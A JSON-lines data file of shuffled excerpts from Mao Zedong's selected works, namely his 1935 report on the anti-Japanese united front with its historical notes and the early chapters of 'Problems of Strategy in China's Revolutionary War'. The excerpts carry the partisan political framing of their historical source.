    {"text": "〔3〕 毛泽东在一九三三年十一月写的《才溪乡调查》中记载：“长冈乡全部青年壮年男子（十六岁至四十五岁）四百零七人，其中出外当红军、做工作的三百二十人，占百分之七十九。 上才溪全部青年壮年男子（十六岁至五十五岁）五百五十四人，出外当红军、做工作的四百八十五人，占百分之八十八。 下才溪全部青年壮年男子七百六十五人，出外当红军、做工作的五百三十三人，也占了百分之七十。"},
    {"text": "但是中国人民反对日本帝国主义的斗争，以及其他帝国主义国家的干涉，使得经过那时的卖国头子袁世凯 〔1〕 签了字的对日屈服投降的条约二十一条 〔2〕 ，不得不宣告无效。"},
    {"text": "今天不同了，日本帝国主义者已经显示他们要向中国本部前进了，他们要占领全中国。 现在是日本帝国主义要把整个中国从几个帝国主义国家都有份的半殖民地状态改变为日本独占的殖民地状态。"},
    {"text": "一九二四年至一九二七年的革命，一九二七年至现在的土地革命，一九三一年九一八事变以来的反日浪潮，证明中国工人阶级和农民阶级是中国革命的最坚决的力量。"},
    {"text": "他们组成了一个卖国贼营垒，在他们面前没有什么当不当亡国奴的问题，他们已经撤去了民族的界线，他们的利益同帝国主义的利益是不可分离的，他们的总头子就是蒋介石 〔9〕 。"},
    {"text": "这是因为民族资产阶级同地主阶级、买办阶级不是同一的东西，他们之间是有分别的。 民族资产阶级没有地主阶级那样多的封建性，没有买办阶级那样多的买办性。"},
    {"text": "无论蔡廷锴们将来的事业是什么，无论当时福建人民政府还是怎样守着老一套不去发动民众斗争，但是他们把本来向着红军的火力掉转去向着日本帝国主义和蒋介石，不能不说是有益于革命的行为。"},
    {"text": "所有这些例子都指明：在日本炸弹的威力圈及于全中国的时候，在斗争改变常态而突然以汹涌的阵势向前推进的时候，敌人的营垒是会发生破裂的。"},
    {"text": "如果有人拿中国民族资产阶级在政治上经济上的软弱性这一点来反对我们的论点，认为中国民族资产阶级虽然处在新环境，还是没有改变态度的可能，这种说法对不对呢？"},
    {"text": "如果不能改变态度的原因，是民族资产阶级的软弱性，那末，一九二四年至一九二七年为什么改变了他们的常态，不仅是动摇，简直是参加了革命呢？"},
    {"text": "自然，我们不但不否认，并且完全承认：又是因为这一点，帝国主义和地主买办阶级容易拿某种临时的贿赂为钓饵将他们拉了过去，而这也就规定了他们对于革命的不彻底性。"},
    {"text": "因为他们中间除了那些真正拥护人民革命事业的人们而外，有许多人在一个时期内能够以革命的或半革命的面目出现，所以他们同时就具备着欺骗民众的资格，使得民众不容易认识他们的不彻底性以及装模作样的假相。"},
    {"text": "如果我们否认民族资产阶级在大震动中有动摇及参加革命的可能性，那也就取消了至少也减轻了我们党对于争取领导权的任务。 因为，如果民族资产阶级是同地主买办一模一样，以卖国贼的狰狞面孔出现，争取领导权的任务就大可取消，至少也可以减轻了。"},
    {"text": "胡汉民所依托的两广派军阀 〔18〕 ，也在所谓“收复失地”和“抗日剿匪 〔19〕 并重”（蒋介石的是“先剿匪，后抗日”）的欺骗口号之下，同蒋介石对立。"},
    {"text": "把这个阶级关系问题总起来说，就是：在日本帝国主义打进中国本部来了这一个基本的变化上面，变化了中国各阶级之间的相互关系，扩大了民族革命营垒的势力，减弱了民族反革命营垒的势力。"},
    {"text": "我们说，红军在一个方面（保持原有阵地的方面）说来是失败了，在另一个方面（完成长征计划的方面）说来是胜利了。 敌人在一个方面（占领我军原有阵地的方面）说来是胜利了，在另一个方面（实现“围剿”“追剿”计划的方面）说来是失败了。"},
    {"text": "十二个月光阴中间，天上每日几十架飞机侦察轰炸，地下几十万大军围追堵截，路上遇着了说不尽的艰难险阻，我们却开动了每人的两只脚，长驱二万余里，纵横十一个省。"},
    {"text": "直罗镇一仗，中央红军同西北红军兄弟般的团结，粉碎了卖国贼蒋介石向着陕甘边区的“围剿” 〔26〕 ，给党中央把全国革命大本营放在西北的任务，举行了一个奠基礼。"},
    {"text": "但学生运动要得到持久性，要冲破卖国贼的戒严令，警察、侦探、学棍、法西斯蒂的破坏和屠杀政策，只有和工人、农民、兵士的斗争配合起来，才有可能。"},
    {"text": "如果说，苏联共产党领导的革命战争 〔29〕 是在三个年头里完结了的话，那末中国共产党领导的革命战争，过去已经花去了很长的时间，而要最后地彻底地解决内外反革命势力，我们还得准备再花一个应有的时间，像过去那样地过分的性急是不行的。"},
    {"text": "现在我们又说，帝国主义还是一个严重的力量，革命力量的不平衡状态是一个严重的缺点，要打倒敌人必须准备作持久战，这是现时革命形势的又一个特点。"},
    {"text": "一个说，如果不足够地估计到日本帝国主义变中国为殖民地的行动能够变动中国革命和反革命的阵线，就不能足够地估计到组织广泛的民族革命统一战线的可能性。 如果不足够地估计到日本反革命势力、中国反革命势力和中国革命势力这几方面的强点和弱点，就不会足够地估计到组织广泛的民族革命统一战线的必要性；"},
    {"text": "就不会拿着统一战线这个武器去组织和团聚千千万万民众和一切可能的革命友军，向着日本帝国主义及其走狗中国卖国贼这个最中心的目标而攻击前进；"},
    {"text": "这样，就不能把敌人驱逐到狭小的孤立的阵地上去。 这样，就不能把敌人营垒中被裹胁的人们，过去是敌人而今日可能做友军的人们，都从敌人营垒中和敌人战线上拉过来。"},
    {"text": "革命的道路，同世界上一切事物活动的道路一样，总是曲折的，不是笔直的。 革命和反革命的阵线可能变动，也同世界上一切事物的可能变动一样。"},
    {"text": "日本帝国主义决定要变全中国为它的殖民地，和中国革命的现时力量还有严重的弱点，这两个基本事实就是党的新策略即广泛的统一战线的出发点。"},
    {"text": "人民共和国 〔30〕 如果说，我们过去的政府是工人、农民和城市小资产阶级联盟的政府，那末，从现在起，应当改变为除了工人、农民和城市小资产阶级以外，还要加上一切其他阶级中愿意参加民族革命的分子。"},
    {"text": "这个政府的成分将扩大到广泛的范围，不但那些只对民族革命有兴趣而对土地革命没有兴趣的人，可以参加，就是那些同欧美帝国主义有关系，不能反对欧美帝国主义，却可以反对日本帝国主义及其走狗的人们，只要他们愿意，也可以参加。"},
    {"text": "因为中国的汉奸卖国贼是很多的，并且是有力量的，他们必然想出各种法子来破坏这个统一战线，用他们威迫利诱、纵横捭阖的手段来挑拨离间，用兵力来强压，来各个击破那些比较他们小的、愿意离开卖国贼而同我们联合起来打日本的力量。"},
    {"text": "一九二七年革命的失败，主要的原因就是由于共产党内的机会主义路线，不努力扩大自己的队伍（工农运动和共产党领导的军队），而只依仗其暂时的同盟者国民党。"},
    {"text": "那时的革命统一战线没有中心支柱，没有坚强的革命的武装队伍，四面八方都造起反来，共产党只得孤军作战，无力抵制帝国主义和中国反革命的各个击破的策略。"},
    {"text": "共产党和红军不但在现在充当着抗日民族统一战线的发起人，而且在将来的抗日政府和抗日军队中必然要成为坚强的台柱子，使日本帝国主义者和蒋介石对于抗日民族统一战线所使用的拆台政策，不能达到最后的目的。"},
    {"text": "而日本帝国主义者和蒋介石灭亡中国和出卖中国的政策，不能不驱使很多的力量跑到我们方面来，或者径直加入共产党和红军的队伍，或者同共产党和红军结成联合战线。"},
    {"text": "但是人民共和国去掉帝国主义的压迫，使中国自由独立，去掉地主的压迫，使中国离开半封建制度，这些事情就不但使工农得了利益，也使其他人民得了利益。"},
    {"text": "要开展民族革命，对于民族革命的先锋队不给以政治上、经济上的权利，不使工人阶级能够拿出力量来对付帝国主义及其走狗卖国贼，是不能成功的。"},
    {"text": "人民共和国在资产阶级民主革命的时代并不废除非帝国主义的、非封建主义的私有财产，并不没收民族资产阶级的工商业，而且还鼓励这些工商业的发展。"},
    {"text": "人民共和国的劳动法保护工人的利益，却并不反对民族资本家发财，并不反对民族工商业的发展，因为这种发展不利于帝国主义，而有利于中国人民。"},
    {"text": "由此可知，人民共和国是代表反帝国主义反封建势力的各阶层人民的利益的。 人民共和国的政府以工农为主体，同时容纳其他反帝国主义反封建势力的阶级。"},
    {"text": "给城市小资产阶级、知识分子及其他拥护反帝反封建纲领的分子以在人民共和国政府中说话做事的权利，给他们以选举权和被选举权，不能违背工农基本群众的利益。"},
    {"text": "何时转变，应以是否具备了转变的条件为标准，时间会要相当地长。 不到具备了政治上经济上一切应有的条件之时，不到转变对于全国最大多数人民有利而不是不利之时，不应当轻易谈转变。 怀疑这一点而希望在很短的时间内去转变，如像过去某些同志所谓民主革命在重要省份开始胜利之日，就是革命开始转变之时，是不对的。"},
    {"text": "这是因为他们看不见中国是一个何等样的政治经济情况的国家，他们不知道中国在政治上经济上完成民主革命，较之俄国要困难得多，需要更多的时间和努力。"},
    {"text": "俄国的二月革命和十月革命是义战。 第一次世界大战后欧洲各国人民的革命是义战。 中国的反鸦片战争 〔35〕 ，太平天国战争 〔36〕 ，义和团战争 〔37〕 ，辛亥革命战争 〔38〕 ，一九二六年至一九二七年的北伐战争，一九二七年至现在的土地革命战争，今天的抗日和讨伐卖国贼的战争，都是义战。 在目前的全中国抗日高潮和全世界反法西斯高潮中，义战将遍于全中国，全世界。"},
    {"text": "这一次政治局会议批评了党内那种认为中国民族资产阶级不可能和中国工人农民联合抗日的错误观点，决定了建立抗日民族统一战线的策略，是一次极关重要的会议。 毛泽东根据中央决议在这里充分地说明了和民族资产阶级在抗日的条件下重新建立统一战线的可能性和重要性，着重地指出共产党和红军在这个统一战线中的具有决定意义的领导作用，指出了中国革命的长期性，批判了党内在过去长时期内存在着的狭隘的关门主义和对于革命的急性病——这些是党和红军在第二次国内革命战争时期遭受严重挫折的基本原因。 同时，毛泽东唤起党内注意一九二七年陈独秀右倾机会主义引导革命归于失败的历史教训，指出了蒋介石必然要破坏革命势力的趋势，这样就保证了后来中国共产党在新环境中能够具有清醒的头脑，在蒋介石的无穷欺骗和很多次的武装袭击中，使革命力量不致遭受损失。 一九三五年一月中共中央在贵州遵义举行的政治局扩大会议，建立了以毛泽东为代表的新的中央的领导，改变了过去“左”倾机会主义的领导。"},
    {"text": "一九一一年辛亥革命推翻清朝以后，他依靠反革命的武力和帝国主义的支持，又利用当时领导革命的资产阶级的妥协性，篡夺了总统的职位，组织了代表大地主大买办阶级的第一个北洋军阀政府。"},
    {"text": "五、由日本控制中国的政治、财政、警察、军事大权，允许日本在湖北、江西、浙江、广东各省之间修筑重要铁路，并承认日本在福建享有投资修筑铁路、开采矿山、整顿海口等优先权。"},
    {"text": "〔4〕 一九三一年九月十八日，日本驻在中国东北境内的所谓“关东军”进攻沈阳，中国人民习惯上称日本这次侵略行动为九一八事变。 事变发生后，驻沈阳及东北各地的中国军队执行蒋介石的不准抵抗的命令，使日军得以迅速地占领辽宁、吉林、黑龙江三省。"},
    {"text": "〔5〕 东北四省指当时中国东北部的辽宁、吉林、黑龙江、热河四省（热河省于一九五五年撤销，原辖区分别划归河北、辽宁两省和内蒙古自治区）。 一九三一年九一八事变后，日本侵略军先占领了辽宁、吉林、黑龙江三省，一九三三年又侵占热河省。"},
    {"text": "〔6〕 一九三五年十一月二十五日，日本帝国主义嗾使国民党河北省政府滦榆、蓟密两区行政督察专员殷汝耕在通县成立傀儡政权，名为“冀东防共自治委员会”（一个月后改称“冀东防共自治政府”），使当时河北省东部二十二个县脱离了中国政府的管辖。"},
    {"text": "“广田三原则”是日本外相广田弘毅在一九三五年十月对中国驻日大使提出的所谓“对华三原则”，其内容是：一、中国取缔一切抗日运动，放弃依赖英美的政策；"},
    {"text": "北平学生在中国共产党领导下，首先在十二月九日举行大规模的爱国示威游行，提出“反对华北防共自治运动”、“停止内战，一致对外”、“打倒日本帝国主义”等口号。"},
    {"text": "〔9〕 毛泽东做这个报告的时候，蒋介石继续实行对日妥协、对内屠杀和镇压的反动政策，如出卖华北主权，镇压人民的抗日运动，围攻要求抗日的红军等等。"},
    {"text": "但是毛泽东在这个报告中，已经说到了日本和英美帝国主义的矛盾可能引起中国地主买办阶级营垒中的分化，党应当利用这种矛盾，争取一切可以争取的力量来反对当前的主要敌人日本帝国主义。 随着日本帝国主义对中国侵略的加紧，英美同日本的矛盾更加表面化，中国共产党认为和英美帝国主义利益密切联系的蒋介石集团可能改变对日本的态度，因而采取逼迫蒋介石转向抗日的政策。"},
    {"text": "十九路军原来在江西与红军作战，九一八事变后调往上海。 那时上海和全国人民抗日的高潮，给了十九路军以很大影响。 一九三二年一月二十八日夜，日本海军陆战队向上海攻击，十九路军和上海人民一起进行了抗战。"},
    {"text": "一九二六年九月，当北伐的国民革命军攻抵武汉时，冯玉祥就任国民军联军总司令，率领他的军队在绥远省（现属内蒙古自治区）宣布脱离北洋军阀的系统而参加革命。"},
    {"text": "〔17〕 抗日救国六大纲领即《中国人民对日作战的基本纲领》，是中国共产党在一九三四年四月提出，由中国民族武装自卫委员会筹备会宋庆龄等一千七百余人署名公布的。"},
    {"text": "同年十月，红军第六军团和第二军团会合，任第二军团政治委员，随后创建了湘鄂川黔边区，任省委书记兼军区政治委员。 一九三六年七月，第二、六军团组成第二方面军，任政治委员。"},
    {"text": "他在中国共产党第五、六、七次全国代表大会上均被选为中央委员，一九二七年中共中央召开的八七会议上被选为临时中央政治局委员，一九三一年中共六届四中全会上被选为中央政治局委员，一九四○年参加中共中央书记处工作，一九四五年中共七届一中全会上被选为中央政治局委员和中央书记处书记。"},
    {"text": "〔21〕 中国工农红军第六军团原驻湘赣边区根据地，一九三四年八月奉中共中央的命令在第六军团军政委员会主席任弼时等率领下，誓师突围转移。 同年十月，在贵州东部与贺龙率领的红军第三军（后改称第二军团）会合，十一月成立了湘鄂川黔边区临时省委和军区，后开辟了湘鄂川黔革命根据地。 〔22〕 一九三四年十月，中国工农红军第一、三、五、八、九军团（即中央红军，一九三五年六月与红四方面军会合时，恢复第一方面军的番号），中央和军委机关、直属部队编成的两个纵队，从江西瑞金等地出发，开始战略性的大转移。 红军经过福建、江西、广东、湖南、广西、贵州、四川、云南、西康（现在分属四川省和西藏自治区）、甘肃、陕西等十一个省，走过终年积雪的高山，越过人迹罕至的沼泽草地，历尽艰苦，击溃敌人的多次围追堵截，长征两万余里，终于在一九三五年十月胜利地到达陕西北部的革命根据地。"},
    {"text": "一九三五年三月，第四方面军发起强渡嘉陵江战役后，离开川陕边区根据地，五月开始向四川、西康（现在分属四川省和西藏自治区）两省的边境转移。"},
    {"text": "同年九月，原在鄂豫皖根据地的红军第二十五军，经陕南陇东到达陕北，与陕甘红军会合，成立红军第十五军团。 十月，红十五军团在陕西甘泉县的劳山战役中消灭敌军一一○师大部，击毙其师长，不久又将敌军一○七师的四个营消灭于陕西富县榆林桥。 于是敌人重新组织兵力，以董英斌（东北军五十七军军长）带五个师分两路进攻，东边一个师沿陕西洛川、富县大道北上，西边四个师由甘肃的庆阳、合水沿葫芦河向陕西富县方面前进。"},
    {"text": "这些地区是：赣粤边地区、闽赣边地区、闽西地区、闽粤边地区、皖浙赣边地区、浙南地区、闽北地区、闽东地区、闽中地区、湘鄂赣边地区、湘赣边地区、湘南地区、鄂豫皖边地区、鄂豫边地区和广东省的琼崖地区（今为海南省）。"},
    {"text": "〔28〕 一九三一年日本帝国主义侵占东北以后，东北地区各阶层民众和东北军中部分爱国官兵，在中国共产党的领导、协助和影响下，组成不同名称的抗日义勇军。"},
    {"text": "同年秋以后，中共满洲省委在各地原已创建的反日游击队（当时也称工农义勇军）的基础上，组建了东北人民革命军。 一九三六年二月，东北人民革命军联合其他反日部队，发表了统一建制宣言，改称东北抗日联军，陆续编成十一个军，在共产党员杨靖宇、周保中、李兆麟等领导下，长期坚持了东北的抗日游击战争。 一九三三年，日本帝国主义侵入热河省（现分属河北省、辽宁省和内蒙古自治区）和冀东，当地人民纷纷起来武装反抗，其中规模较大的是一九三三年十二月爆发的孙永勤领导的民众军的抗日起义。 一九三四年，孙永勤接受中国共产党的抗日主张，把民众军改编为抗日救国军，在河北省东部的兴隆、遵化、迁安、青龙和热河省南部的承德、平泉（这两个地方今属河北省）等地，进行抗日游击战争，一直坚持到一九三五年。"},
    {"text": "在一九二七年中国革命遭受失败之后，中国也出现了少数的托洛茨基分子，他们与陈独秀等相结合，认为中国资产阶级对于帝国主义和封建势力已经取得了胜利，中国资产阶级民主革命已经完结，中国无产阶级只有待到将来再去举行社会主义革命，在当时就只能进行所谓以“国民会议”为中心口号的合法运动，而取消革命运动。"},
    {"text": "这个条约的主要内容是：中国割让香港，给英国大量赔款，开放上海、福州、厦门、宁波、广州为通商口岸，抽收英商进出口货物的税率由中英双方共同议定。"},
    {"text": "参加这次战争的，有广大的农民、手工业者和其他群众，他们用宗教迷信互相联系，在秘密结社的基础上组织起来，对英、美、德、法、俄、日、意、奥的联合侵略军进行了英勇的斗争。"},
    {"text": "〔39〕 参见列宁《无产阶级革命的军事纲领》（《列宁全集》第28卷，人民出版社1989年版，第86—97页）和《联共（布）党史简明教程》第六章第三节（人民出版社1975年版，第185—192页）。"},
    {"text": "中国革命战争的战略问题 中国革命战争的战略问题 * （一九三六年十二月） 第一章 如何研究战争 第一节 战争规律是发展的 战争的规律——这是任何指导战争的人不能不研究和不能不解决的问题。"},
    {"text": "革命战争的规律——这是任何指导革命战争的人不能不研究和不能不解决的问题。 中国革命战争的规律——这是任何指导中国革命战争的人不能不研究和不能不解决的问题。"},
    {"text": "大家明白，不论做什么事，不懂得那件事的情形，它的性质，它和它以外的事情的关联，就不知道那件事的规律，就不知道如何去做，就不能做好那件事。"},
    {"text": "战争——从有私有财产和有阶级以来就开始了的、用以解决阶级和阶级、民族和民族、国家和国家、政治集团和政治集团之间、在一定发展阶段上的矛盾的一种最高的斗争形式。"},
    {"text": "因此，在一般的战争规律之外，有它的一些特殊的规律。 不懂得这些特殊的情形和性质，不懂得它的特殊的规律，就不能指导革命战争，就不能在革命战争中打胜仗。 中国革命战争——不论是国内战争或民族战争，是在中国的特殊环境之内进行的，比较一般的战争，一般的革命战争，又有它的特殊的情形和特殊的性质。 因此，在一般战争和一般革命战争的规律之外，又有它的一些特殊的规律。"},
    {"text": "他们说：只要研究一般战争的规律就得了，具体地说，只要照着反动的中国政府或反动的中国军事学校出版的那些军事条令去做就得了。 他们不知道：这些条令仅仅是一般战争的规律，并且全是抄了外国的，如果我们一模一样地照抄来用，丝毫也不变更其形式和内容，就一定是削足适履，要打败仗。"},
    {"text": "他们不知道：苏联的规律和条令，包含着苏联内战和苏联红军的特殊性，如果我们一模一样地抄了来用，不允许任何的变更，也同样是削足适履，要打败仗。"},
    {"text": "由此看来，战争情况的不同，决定着不同的战争指导规律，有时间、地域和性质的差别。 从时间的条件说，战争和战争指导规律都是发展的，各个历史阶段有各个历史阶段的特点，因而战争规律也各有其特点，不能呆板地移用于不同的阶段。 从战争的性质看，革命战争和反革命战争，各有其不同的特点，因而战争规律也各有其特点，不能呆板地互相移用。 从地域的条件看，各个国家各个民族特别是大国家大民族均有其特点，因而战争规律也各有其特点，同样不能呆板地移用。 我们研究在各个不同历史阶段、各个不同性质、不同地域和民族的战争的指导规律，应该着眼其特点和着眼其发展，反对战争问题上的机械论。"},
    {"text": "但是消灭它的方法只有一个，就是用战争反对战争，用革命战争反对反革命战争，用民族革命战争反对民族反革命战争，用阶级革命战争反对阶级反革命战争。"},
    {"text": "人类正义战争的旗帜是拯救人类的旗帜，中国正义战争的旗帜是拯救中国的旗帜。 人类的大多数和中国人的大多数所举行的战争，毫无疑义地是正义的战争，是拯救人类拯救中国的至高无上的荣誉的事业，是把全世界历史转到新时代的桥梁。"},
    {"text": "人类社会进步到消灭了阶级，消灭了国家，到了那时，什么战争也没有了，反革命战争没有了，革命战争也没有了，非正义战争没有了，正义战争也没有了，这就是人类的永久和平的时代。"},
    {"text": "世界可以是战争的一全局，一国可以是战争的一全局，一个独立的游击区、一个大的独立的作战方面，也可以是战争的一全局。 凡属带有要照顾各方面和各阶段的性质的，都是战争的全局。 研究带全局性的战争指导规律，是战略学的任务。 研究带局部性的战争指导规律，是战役学和战术学的任务。"},
    {"text": "说战略胜利取决于战术胜利的这种意见是错误的，因为这种意见没有看见战争的胜败的主要和首先的问题，是对于全局和各阶段的关照得好或关照得不好。"},
    {"text": "有的时候，有些局部破坏了或失败了，全局可以不起重大的影响，就是因为这些局部不是对于全局有决定意义的东西。 战争中有些战术上或战役上的失败或不成功，常常不至于引起战争全局的变坏，就是因为这些失败不是有决定意义的东西。 但若组成战争全局的多数战役失败了，或有决定意义的某一二个战役失败了，全局就立即起变化。 这里说的多数战役和某一二个战役，就都是决定的东西了。"},
    {"text": "主要地是依据情况，照顾部队和兵团的组成问题，照顾两个战役之间的关系问题，照顾各个作战阶段之间的关系问题，照顾我方全部活动和敌方全部活动之间的关系问题，这些都是最吃力的地方，如果丢了这个去忙一些次要的问题，那就难免要吃亏了。"},
    {"text": "任何一级的首长，应当把自己注意的重心，放在那些对于他所指挥的全局说来最重要最有决定意义的问题或动作上，而不应当放在其他的问题或动作上。"},
    {"text": "学习战争全局的指导规律，是要用心去想一想才行的。 因为这种全局性的东西，眼睛看不见，只能用心思去想一想才能懂得，不用心思去想，就不会懂得。 但是全局是由局部构成的，有局部经验的人，有战役战术经验的人，如肯用心去想一想，就能够明白那些更高级的东西。 战略问题，如所谓照顾敌我之间的关系，照顾各个战役之间或各个作战阶段之间的关系，照顾有关全局的（有决定意义的）某些部分，照顾全盘情况中的特点，照顾前后方之间的关系，照顾消耗和补充，作战和休息，集中和分散，攻击和防御，前进和后退，荫蔽和暴露，主攻方面和助攻方面，突击方面和钳制方面，集中指挥和分散指挥，持久战和速决战，阵地战和运动战，本军和友军，这些兵种和那些兵种，上级和下级，干部和兵员，老兵和新兵，高级干部和下级干部，老干部和新干部，红色区域和白色区域，老区和新区，中心区和边缘区，热天和冷天，胜仗和败仗，大兵团和小兵团，正规军和游击队，消灭敌人和争取群众，扩大红军和巩固红军，军事工作和政治工作，过去的任务和现在的任务，现在的任务和将来的任务，那种情况下的任务和这种情况下的任务，固定战线和非固定战线，国内战争和民族战争，这一历史阶段和那一历史阶段，等等问题的区别和联系，都是眼睛看不见的东西，但若用心去想一想，也就都可以了解，都可以捉住，都可以精通。"},
    {"text": "前者是不要指挥员因死用原则而主观地犯错误； 后者是当着指挥员主观地犯了错误，或客观情况起了非所预料的和不可抗的变化时，告诉指挥员怎样去处置。"},
    {"text": "就是因为战争或战斗的部署和指挥不适合当时当地的情况，主观的指导和客观的实在情况不相符合，不对头，或者叫做没有解决主观和客观之间的矛盾。"},
    {"text": "攻击点选在敌人阵地的某一翼，而那里正是敌人的薄弱部，突击因而成功，这叫做主观和客观相符合，也就是指挥员的侦察、判断和决心，和敌人及其配置的实在情形相符合。 如果攻击点选在另一翼，或中央，结果正碰在敌人的钉子上，攻不进去，就叫做不相符合。 攻击时机的适当，预备队使用的不迟不早，以及各种战斗处置和战斗动作都利于我不利于敌，便是整个战斗中主观指挥和客观情况统统相符合。"},
    {"text": "统统相符合的事，在战争或战斗中是极其少有的，这是因为战争或战斗的双方是成群的武装着的活人，而又互相保持秘密的缘故，这和处置静物或日常事件是大不相同的。"},
    {"text": "指挥员的正确的部署来源于正确的决心，正确的决心来源于正确的判断，正确的判断来源于周到的和必要的侦察，和对于各种侦察材料的联贯起来的思索。 指挥员使用一切可能的和必要的侦察手段，将侦察得来的敌方情况的各种材料加以去粗取精、去伪存真、由此及彼、由表及里的思索，然后将自己方面的情况加上去，研究双方的对比和相互的关系，因而构成判断，定下决心，作出计划，——这是军事家在作出每一个战略、战役或战斗的计划之前的一个整个的认识情况的过程。"},
    {"text": "粗心大意的军事家，不去这样做，把军事计划建立在一相情愿的基础之上，这种计划是空想的，不符合于实际的。 鲁莽的专凭热情的军事家之所以不免于受敌人的欺骗，受敌人表面的或片面的情况的引诱，受自己部下不负责任的无真知灼见的建议的鼓动，因而不免于碰壁，就是因为他们不知道或不愿意知道任何军事计划，是应该建立于必要的侦察和敌我情况及其相互关系的周密思索的基础之上的缘故。"},
    {"text": "经验多的军人，假使他是虚心学习的，他摸熟了自己的部队（指挥员、战斗员、武器、给养等等及其总体）的脾气，又摸熟了敌人的部队（同样，指挥员、战斗员、武器、给养等等及其总体）的脾气，摸熟了一切和战争有关的其他的条件如政治、经济、地理、气候等等，这样的军人指导战争或作战，就比较地有把握，比较地能打胜仗。"},
    {"text": "有一种人，明于知己，暗于知彼，又有一种人，明于知彼，暗于知己，他们都是不能解决战争规律的学习和使用的问题的。 中国古代大军事学家孙武子 〔2〕 书上“知彼知己，百战不殆”这句话，是包括学习和使用两个阶段而说的，包括从认识客观实际中的发展规律，并按照这些规律去决定自己行动克服当前敌人而说的；"},
    {"text": "因此，我们红军的指导者，在既定的客观物质基础即军事、政治、经济、自然诸条件之上，就必须发挥我们的威力，提挈全军，去打倒那些民族的和阶级的敌人，改变这个不好的世界。"},
    {"text": "第二章 中国共产党和中国革命战争 自一九二四年开始的中国革命战争，已经过去了两个阶段，即一九二四年至一九二七年的阶段和一九二七年至一九三六年的阶段；"},
    {"text": "中国资产阶级虽然在某种历史时机可以参加革命战争，然而由于它的自私自利性和政治上经济上的缺乏独立性，不愿意也不能领导中国革命战争走上彻底胜利的道路。"},
    {"text": "因此，在无产阶级已经走上政治舞台的时代，中国革命战争的领导责任，就不得不落到中国共产党的肩上。 在这种时候，任何的革命战争如果没有或违背无产阶级和共产党的领导，那个战争是一定要失败的。"},
    {"text": "因为半殖民地的中国的社会各阶层和各种政治集团中，只有无产阶级和共产党，才最没有狭隘性和自私自利性，最有远大的政治眼光和最有组织性，而且也最能虚心地接受世界上先进的无产阶级及其政党的经验而用之于自己的事业。"},
    {"text": "因此，只有无产阶级和共产党能够领导农民、城市小资产阶级和资产阶级，克服农民和小资产阶级的狭隘性，克服失业者群的破坏性，并且还能够克服资产阶级的动摇和不彻底性（如果共产党的政策不犯错误的话），而使革命和战争走上胜利的道路。"},
    {"text": "一九二四年至一九二七年的革命战争，基本地说，是在国际无产阶级和中国无产阶级及其政党对于中国民族资产阶级及其政党的政治影响和政治合作之下进行的。"},
    {"text": "然而当着革命和战争的紧急关头，首先由于大资产阶级的叛变，同时也由于革命队伍中机会主义者的自动地放弃革命领导权，这次革命战争就失败了。"},
    {"text": "领导这个革命战争的惟有共产党，共产党已经形成了对于革命战争的绝对的领导权。 共产党的这种绝对的领导权，是使革命战争坚持到底的最主要的条件。 没有共产党的这种绝对的领导，是不能设想革命战争能有这样的坚持性的。"},
    {"text": "中国共产党是英勇坚决地领导了中国的革命战争，在十五年的长岁月中 〔3〕 ，在全国人民面前，表示了自己是人民的朋友，每一天都是为了保护人民的利益，为了人民的自由解放，站在革命战争的最前线。 中国共产党以自己艰苦奋斗的经历，以几十万英勇党员和几万英勇干部的流血牺牲，在全民族几万万人中间起了伟大的教育作用。 中国共产党在革命斗争中的伟大的历史成就，使得今天处在民族敌人侵入的紧急关头的中国有了救亡图存的条件，这个条件就是有了一个为大多数人民所信任的、被人民在长时间内考验过因此选中了的政治领导者。"},
    {"text": "中国共产党在革命战争中，除了犯过陈独秀右倾机会主义 〔4〕 和李立三“左”倾机会主义 〔5〕 两个错误之外，还犯过了下述的两个错误：其一，是在一九三一年至一九三四年的“左”倾机会主义 〔6〕 ，这个错误使得土地革命战争受到了极端严重的损失，得到了在第五次反“围剿”中不能战胜敌人反而丧失了根据地削弱了红军的结果。"},
    {"text": "其二，是在一九三五年至一九三六年的张国焘右倾机会主义 〔8〕 ，这个错误发展到破坏了党和红军的纪律，使一部分红军主力遭受了严重的损失；"},
    {"text": "所有这些错误，对于我们的党，我们的革命和战争，当然是不利的，然而终于被我们克服，我们的党和我们的红军是从这些错误的克服中锻炼得更加坚强了。"},
    {"text": "第三章 中国革命战争的特点 第一节 这个问题的重要性 不承认、不知道、或不愿意知道中国革命战争有其特点的人，把红军对国民党军队的作战，看做和一般战争相同，或和苏联内战相同。"},
    {"text": "他们主张回到一般情况的方面去，拒绝了解任何的特殊情况，拒绝红军血战史的经验，轻视帝国主义和国民党的力量，轻视国民党军队的力量，对敌人采用的反动的新原则视若无睹。"},
    {"text": "结果，是丧失了除了陕甘边区以外的一切革命根据地，使红军由三十万人降到了几万人，使中国共产党由三十万党员降到了几万党员，而在国民党区域的党组织几乎全部丧失。"},
    {"text": "由此可知，不了解中国革命战争的特点，就不能指导中国革命战争，就不能引导中国革命战争走上胜利的途径。 第二节 中国革命战争的特点是什么 那末，中国革命战争的特点是什么呢？"},
    {"text": "当着一九二七年冬天至一九二八年春天，中国游击战争发生不久，湖南江西两省边界区域——井冈山的同志们中有些人提出“红旗到底打得多久”这个疑问的时候，我们就把它指出来了（湘赣边界党的第一次代表大会 〔12〕 ）。"},
    {"text": "现在把这个问题分开来看一看： 中国政治经济发展不平衡——微弱的资本主义经济和严重的半封建经济同时存在，近代式的若干工商业都市和停滞着的广大农村同时存在，几百万产业工人和几万万旧制度统治下的农民和手工业工人同时存在，管理中央政府的大军阀和管理各省的小军阀同时存在，反动军队中有隶属蒋介石的所谓中央军和隶属各省军阀的所谓杂牌军这样两部分军队同时存在，若干的铁路航路汽车路和普遍的独轮车路、只能用脚走的路和用脚还不好走的路同时存在。"},
    {"text": "它已改造了它的军队——改造得和中国任何一个历史时代的军队都不相同，而和世界现代国家的军队却大体相同，武器和其他军事物资的供给比起红军来雄厚得多，而且其军队数量之多超过中国任何一个历史时代的军队，超过世界任何一个国家的常备军。"},
    {"text": "根据地虽小却有很大的政治上的威力，屹然和庞大的国民党政权相对立，军事上给国民党的进攻以很大的困难，因为我们有农民的援助。 红军虽小却有强大的战斗力，因为在共产党领导下的红军人员是从土地革命中产生，为着自己的利益而战斗的，而且指挥员和战斗员之间在政治上是一致的。"},
    {"text": "第三节 由此产生我们的战略战术 经过了一次大革命的政治经济不平衡的半殖民地的大国，强大的敌人，弱小的红军，土地革命——这是中国革命战争四个主要的特点。"},
    {"text": "第一个特点和第四个特点，规定了中国红军的可能发展和可能战胜其敌人。 第二个特点和第三个特点，规定了中国红军的不可能很快发展和不可能很快战胜其敌人，即是规定了战争的持久，而且如果弄得不好的话，还可能失败。"},
